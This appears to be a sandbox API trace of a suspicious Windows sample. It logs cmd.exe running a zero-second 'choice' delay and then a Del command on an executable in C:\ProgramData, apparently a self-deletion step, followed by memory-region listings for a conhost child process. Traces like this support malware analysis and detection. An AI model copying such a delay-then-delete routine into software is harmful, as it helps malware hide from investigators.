[0133.278] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0133.278] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
[0133.279] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
[0133.279] GetProcessHeap () returned 0x2342cef0000
[0133.280] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef8f00) returned 1
[0133.280] GetProcessHeap () returned 0x2342cef0000
[0133.280] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x12) returned 0x2342cef8f00
[0133.280] lstrcmpW (lpString1="\\choice.exe", lpString2="\\XCOPY.EXE") returned -1
[0133.283] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\choice.exe", lpCommandLine="choice /C Y /N /D Y /T 0 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpStartupInfo=0x4ac3b3f120*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="choice /C Y /N /D Y /T 0 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4ac3b3f108 | out: lpCommandLine="choice /C Y /N /D Y /T 0 ", lpProcessInformation=0x4ac3b3f108*(hProcess=0x8c, hThread=0x88, dwProcessId=0xd80, dwThreadId=0x904)) returned 1
[0133.295] CloseHandle (hObject=0x88) returned 1
[0133.295] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
[0133.295] GetProcessHeap () returned 0x2342cef0000
[0133.295] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef7a40) returned 1
[0133.295] GetEnvironmentStringsW () returned 0x2342cef7a40*
[0133.295] GetProcessHeap () returned 0x2342cef0000
[0133.295] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0xb4e) returned 0x2342cef5bb0
[0133.295] memcpy (in: _Dst=0x2342cef5bb0, _Src=0x2342cef7a40, _Size=0xb4e | out: _Dst=0x2342cef5bb0) returned 0x2342cef5bb0
[0133.295] FreeEnvironmentStringsA (penv="=") returned 1
[0133.295] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
[0133.388] GetExitCodeProcess (in: hProcess=0x8c, lpExitCode=0x4ac3b3f088 | out: lpExitCode=0x4ac3b3f088*=0x1) returned 1
[0133.388] CloseHandle (hObject=0x8c) returned 1
[0133.388] _vsnwprintf (in: _Buffer=0x4ac3b3f248, _BufferCount=0x13, _Format="%08X", _ArgList=0x4ac3b3f098 | out: _Buffer="00000001") returned 8
[0133.388] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1
[0133.388] GetProcessHeap () returned 0x2342cef0000
[0133.388] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef5bb0) returned 1
[0133.388] GetEnvironmentStringsW () returned 0x2342cef5bb0*
[0133.389] GetProcessHeap () returned 0x2342cef0000
[0133.389] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0xb74) returned 0x2342cefc410
[0133.389] memcpy (in: _Dst=0x2342cefc410, _Src=0x2342cef5bb0, _Size=0xb74 | out: _Dst=0x2342cefc410) returned 0x2342cefc410
[0133.389] FreeEnvironmentStringsA (penv="=") returned 1
[0133.389] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
[0133.389] GetProcessHeap () returned 0x2342cef0000
[0133.389] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cefc410) returned 1
[0133.389] GetEnvironmentStringsW () returned 0x2342cef5bb0*
[0133.389] GetProcessHeap () returned 0x2342cef0000
[0133.389] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0xb74) returned 0x2342cefc410
[0133.389] memcpy (in: _Dst=0x2342cefc410, _Src=0x2342cef5bb0, _Size=0xb74 | out: _Dst=0x2342cefc410) returned 0x2342cefc410
[0133.389] FreeEnvironmentStringsA (penv="=") returned 1
[0133.389] GetProcessHeap () returned 0x2342cef0000
[0133.389] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef8f00) returned 1
[0133.389] DeleteProcThreadAttributeList (in: lpAttributeList=0x4ac3b3f200 | out: lpAttributeList=0x4ac3b3f200)
[0133.389] GetConsoleTitleW (in: lpConsoleTitle=0x4ac3b3f790, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0133.390] _wcsicmp (_String1="Del", _String2="DIR") returned -4
[0133.390] _wcsicmp (_String1="Del", _String2="ERASE") returned -1
[0133.390] _wcsicmp (_String1="Del", _String2="DEL") returned 0
[0133.390] GetProcessHeap () returned 0x2342cef0000
[0133.390] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0xb4) returned 0x2342cef5890
[0133.390] GetProcessHeap () returned 0x2342cef0000
[0133.390] RtlReAllocateHeap (Heap=0x2342cef0000, Flags=0x0, Ptr=0x2342cef5890, Size=0x62) returned 0x2342cef5890
[0133.390] GetProcessHeap () returned 0x2342cef0000
[0133.390] RtlSizeHeap (HeapHandle=0x2342cef0000, Flags=0x0, MemoryPointer=0x2342cef5890) returned 0x62
[0133.390] GetProcessHeap () returned 0x2342cef0000
[0133.390] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x6a) returned 0x2342cef5910
[0133.390] GetProcessHeap () returned 0x2342cef0000
[0133.390] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0xb4) returned 0x2342cef5990
[0133.390] GetProcessHeap () returned 0x2342cef0000
[0133.390] RtlReAllocateHeap (Heap=0x2342cef0000, Flags=0x0, Ptr=0x2342cef5990, Size=0x62) returned 0x2342cef5990
[0133.390] GetProcessHeap () returned 0x2342cef0000
[0133.390] RtlSizeHeap (HeapHandle=0x2342cef0000, Flags=0x0, MemoryPointer=0x2342cef5990) returned 0x62
[0133.390] GetProcessHeap () returned 0x2342cef0000
[0133.390] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x60) returned 0x2342cef5a10
[0133.390] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x4ac3b3f2f0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d
[0133.390] GetProcessHeap () returned 0x2342cef0000
[0133.390] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x58) returned 0x2342cefad30
[0133.391] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x4ac3b3e1c0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d
[0133.391] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x4ac3b3e460, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x4ac3b3e890, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x4ac3b3e460*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1
[0133.391] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8
[0133.391] GetProcessHeap () returned 0x2342cef0000
[0133.391] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x58) returned 0x2342cefad90
[0133.391] GetProcessHeap () returned 0x2342cef0000
[0133.391] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x260) returned 0x2342cefadf0
[0133.391] _wcsicmp (_String1="23111707348706201124.exe", _String2=".") returned 4
[0133.391] _wcsicmp (_String1="23111707348706201124.exe", _String2="..") returned 4
[0133.391] GetFileAttributesW (lpFileName="C:\\ProgramData\\23111707348706201124.exe" (normalized: "c:\\programdata\\23111707348706201124.exe")) returned 0x20
[0133.392] GetProcessHeap () returned 0x2342cef0000
[0133.392] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x218) returned 0x2342cefb060
[0133.392] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2342cefb070 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d
[0133.392] SetErrorMode (uMode=0x0) returned 0x8003
[0133.392] SetErrorMode (uMode=0x1) returned 0x0
[0133.392] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\23111707348706201124.exe", nBufferLength=0x104, lpBuffer=0x4ac3b3e880, lpFilePart=0x4ac3b3e870 | out: lpBuffer="C:\\ProgramData\\23111707348706201124.exe", lpFilePart=0x4ac3b3e870*="23111707348706201124.exe") returned 0x27
[0133.392] SetErrorMode (uMode=0x8003) returned 0x1
[0133.392] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x12
[0133.392] GetProcessHeap () returned 0x2342cef0000
[0133.392] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x260) returned 0x2342cefb280
[0133.392] _wcsicmp (_String1="23111707348706201124.exe", _String2=".") returned 4
[0133.392] _wcsicmp (_String1="23111707348706201124.exe", _String2="..") returned 4
[0133.392] GetFileAttributesW (lpFileName="C:\\ProgramData\\23111707348706201124.exe" (normalized: "c:\\programdata\\23111707348706201124.exe")) returned 0x20
[0133.392] GetProcessHeap () returned 0x2342cef0000
[0133.392] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x42) returned 0x2342cef8f50
[0133.392] GetProcessHeap () returned 0x2342cef0000
[0133.392] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x2e) returned 0x2342cef7a90
[0133.392] GetProcessHeap () returned 0x2342cef0000
[0133.392] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x2e) returned 0x2342cef7f50
[0133.392] GetProcessHeap () returned 0x2342cef0000
[0133.392] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x810) returned 0x2342cef5fb0
[0133.392] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\23111707348706201124.exe" (normalized: "c:\\programdata\\23111707348706201124.exe"), fInfoLevelId=0x0, lpFindFileData=0x2342cef5fc4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2342cef5fc4) returned 0x2342cef8250
[0133.393] wcscmp (_String1="23111707348706201124.exe", _String2="*.*") returned 1
[0133.393] wcscmp (_String1="23111707348706201124.exe", _String2="????????.???") returned -1
[0133.393] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0
[0133.393] NtOpenFile (in: FileHandle=0x4ac3b3e6b0, DesiredAccess=0x10000, ObjectAttributes=0x4ac3b3e650*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\23111707348706201124.exe" (normalized: "c:\\programdata\\23111707348706201124.exe"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x4ac3b3e620, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x4ac3b3e6b0*=0x88, IoStatusBlock=0x4ac3b3e620*(Status=0x0, Pointer=0x23400000000, Information=0x1)) returned 0x0
[0133.394] RtlReleaseRelativeName () returned 0x0
[0133.394] RtlFreeAnsiString (AnsiString="\\")
[0133.395] NtQueryVolumeInformationFile (in: FileHandle=0x88, IoStatusBlock=0x4ac3b3e528, FsInformation=0x4ac3b3e520, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x4ac3b3e528, FsInformation=0x4ac3b3e520) returned 0x0
[0133.395] CloseHandle (hObject=0x88) returned 1
[0133.396] FindNextFileW (in: hFindFile=0x2342cef8250, lpFindFileData=0x2342cef5fc4 | out: lpFindFileData=0x2342cef5fc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e2e0d80, ftCreationTime.dwHighDateTime=0x1d96e12, ftLastAccessTime.dwLowDateTime=0x7e2e0d80, ftLastAccessTime.dwHighDateTime=0x1d96e12, ftLastWriteTime.dwLowDateTime=0x7e8180e2, ftLastWriteTime.dwHighDateTime=0x1d96e12, nFileSizeHigh=0x0, nFileSizeLow=0x44e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="23111707348706201124.exe", cAlternateFileName="231117~1.EXE")) returned 0
[0133.397] GetLastError () returned 0x12
[0133.397] FindClose (in: hFindFile=0x2342cef8250 | out: hFindFile=0x2342cef8250) returned 1
[0133.397] GetProcessHeap () returned 0x2342cef0000
[0133.397] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef5fb0) returned 1
[0133.397] GetProcessHeap () returned 0x2342cef0000
[0133.398] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef7f50) returned 1
[0133.398] GetProcessHeap () returned 0x2342cef0000
[0133.398] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef8f50) returned 1
[0133.398] GetProcessHeap () returned 0x2342cef0000
[0133.398] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef7a90) returned 1
[0133.398] GetProcessHeap () returned 0x2342cef0000
[0133.398] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cefb280) returned 1
[0133.398] GetProcessHeap () returned 0x2342cef0000
[0133.399] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cefb060) returned 1
[0133.399] GetProcessHeap () returned 0x2342cef0000
[0133.399] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cefadf0) returned 1
[0133.399] GetProcessHeap () returned 0x2342cef0000
[0133.399] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cefad90) returned 1
[0133.399] GetProcessHeap () returned 0x2342cef0000
[0133.399] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cefad30) returned 1
[0133.399] GetProcessHeap () returned 0x2342cef0000
[0133.399] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef5a10) returned 1
[0133.399] GetProcessHeap () returned 0x2342cef0000
[0133.400] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cef5990) returned 1
[0133.400] _get_osfhandle (_FileHandle=1) returned 0x24
[0133.400] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1
[0133.400] _get_osfhandle (_FileHandle=1) returned 0x24
[0133.400] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff667b4960c | out: lpMode=0x7ff667b4960c) returned 1
[0133.400] _get_osfhandle (_FileHandle=0) returned 0x20
[0133.400] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff667b49608 | out: lpMode=0x7ff667b49608) returned 1
[0133.401] SetConsoleInputExeNameW () returned 0x1
[0133.401] GetConsoleOutputCP () returned 0x1b5
[0133.401] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff667b49660 | out: lpCPInfo=0x7ff667b49660) returned 1
[0133.401] SetThreadUILanguage (LangId=0x0) returned 0x409
[0133.401] exit (_Code=0)
Thread:
id = 158
os_tid = 0x878
Process:
id = "12"
image_name = "conhost.exe"
filename = "c:\\windows\\system32\\conhost.exe"
page_root = "0x7430000"
os_pid = "0xd90"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "11"
os_parent_pid = "0xd94"
cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
cur_dir = "C:\\Windows"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 2060
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 2061
start_va = 0x1c923a0000
end_va = 0x1c923dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000001c923a0000"
filename = ""
Region:
id = 2062
start_va = 0x1c92400000
end_va = 0x1c925fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000001c92400000"
filename = ""
Region:
id = 2063
start_va = 0x199bebd0000
end_va = 0x199bebeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199bebd0000"
filename = ""
Region:
id = 2064
start_va = 0x199bebf0000
end_va = 0x199bec04fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000199bebf0000"
filename = ""
Region:
id = 2065
start_va = 0x7df5ff460000
end_va = 0x7ff5ff45ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ff460000"
filename = ""
Region:
id = 2066
start_va = 0x7ff780c40000
end_va = 0x7ff780c62fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff780c40000"
filename = ""
Region:
id = 2067
start_va = 0x7ff780d60000
end_va = 0x7ff780d70fff
monitored = 0
entry_point = 0x7ff780d616b0
region_type = mapped_file
name = "conhost.exe"
filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")
Region:
id = 2068
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 2069
start_va = 0x199bec10000
end_va = 0x199bed5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199bec10000"
filename = ""
Region:
id = 2070
start_va = 0x7ffc6fc80000
end_va = 0x7ffc6fd2cfff
monitored = 0
entry_point = 0x7ffc6fc981a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 2071
start_va = 0x7ffc6e440000
end_va = 0x7ffc6e627fff
monitored = 0
entry_point = 0x7ffc6e46ba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 2072
start_va = 0x199bebd0000
end_va = 0x199bebdffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000199bebd0000"
filename = ""
Region:
id = 2073
start_va = 0x7ff780b40000
end_va = 0x7ff780c3ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff780b40000"
filename = ""
Region:
id = 2074
start_va = 0x199bed60000
end_va = 0x199bee1dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 2075
start_va = 0x7ffc6f4d0000
end_va = 0x7ffc6f56cfff
monitored = 0
entry_point = 0x7ffc6f4d78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 2076
start_va = 0x1c92600000
end_va = 0x1c9263ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000001c92600000"
filename = ""
Region:
id = 2077
start_va = 0x199bebe0000
end_va = 0x199bebeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199bebe0000"
filename = ""
Region:
id = 2078
start_va = 0x199bec10000
end_va = 0x199bec16fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199bec10000"
filename = ""
Region:
id = 2079
start_va = 0x199bec60000
end_va = 0x199bed5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199bec60000"
filename = ""
Region:
id = 2080
start_va = 0x7ffc66710000
end_va = 0x7ffc66768fff
monitored = 0
entry_point = 0x7ffc6671fbf0
region_type = mapped_file
name = "conhostv2.dll"
filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll")
Region:
id = 2081
start_va = 0x199bec20000
end_va = 0x199bec20fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000199bec20000"
filename = ""
Region:
id = 2082
start_va = 0x7ffc6f570000
end_va = 0x7ffc6f7ecfff
monitored = 0
entry_point = 0x7ffc6f644970
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")
Region:
id = 2083
start_va = 0x7ffc6f3b0000
end_va = 0x7ffc6f4cbfff
monitored = 0
entry_point = 0x7ffc6f3f02b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 2084
start_va = 0x7ffc6e7c0000
end_va = 0x7ffc6e829fff
monitored = 0
entry_point = 0x7ffc6e7f6d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 2085
start_va = 0x7ffc6f240000
end_va = 0x7ffc6f395fff
monitored = 0
entry_point = 0x7ffc6f24a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 2086
start_va = 0x7ffc6fda0000
end_va = 0x7ffc6ff25fff
monitored = 0
entry_point = 0x7ffc6fdeffc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 2087
start_va = 0x199bec30000
end_va = 0x199bec36fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199bec30000"
filename = ""
Region:
id = 2088
start_va = 0x7ffc71710000
end_va = 0x7ffc71852fff
monitored = 0
entry_point = 0x7ffc71738210
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 2089
start_va = 0x7ffc71860000
end_va = 0x7ffc718bafff
monitored = 0
entry_point = 0x7ffc718738b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 2090
start_va = 0x7ffc6fc20000
end_va = 0x7ffc6fc5afff
monitored = 0
entry_point = 0x7ffc6fc212f0
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 2091
start_va = 0x7ffc6f0a0000
end_va = 0x7ffc6f160fff
monitored = 0
entry_point = 0x7ffc6f0c0da0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 2092
start_va = 0x7ffc6c840000
end_va = 0x7ffc6c9c5fff
monitored = 0
entry_point = 0x7ffc6c88d700
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")
Region:
id = 2093
start_va = 0x199bec40000
end_va = 0x199bec40fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199bec40000"
filename = ""
Region:
id = 2094
start_va = 0x199bec50000
end_va = 0x199bec50fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199bec50000"
filename = ""
Region:
id = 2095
start_va = 0x199bee20000
end_va = 0x199befa7fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000199bee20000"
filename = ""
Region:
id = 2096
start_va = 0x199befb0000
end_va = 0x199bf130fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000199befb0000"
filename = ""
Region:
id = 2097
start_va = 0x199bf140000
end_va = 0x199c053ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000199bf140000"
filename = ""
Region:
id = 2098
start_va = 0x199c0540000
end_va = 0x199c068ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199c0540000"
filename = ""
Region:
id = 2099
start_va = 0x1c92640000
end_va = 0x1c9267ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000001c92640000"
filename = ""
Region:
id = 2100
start_va = 0x7ffc701b0000
end_va = 0x7ffc7170efff
monitored = 0
entry_point = 0x7ffc703111f0
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 2101
start_va = 0x7ffc6ee80000
end_va = 0x7ffc6eec2fff
monitored = 0
entry_point = 0x7ffc6ee94b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 2102
start_va = 0x7ffc6e830000
end_va = 0x7ffc6ee73fff
monitored = 0
entry_point = 0x7ffc6e9f64b0
region_type = mapped_file
name = "windows.storage.dll"
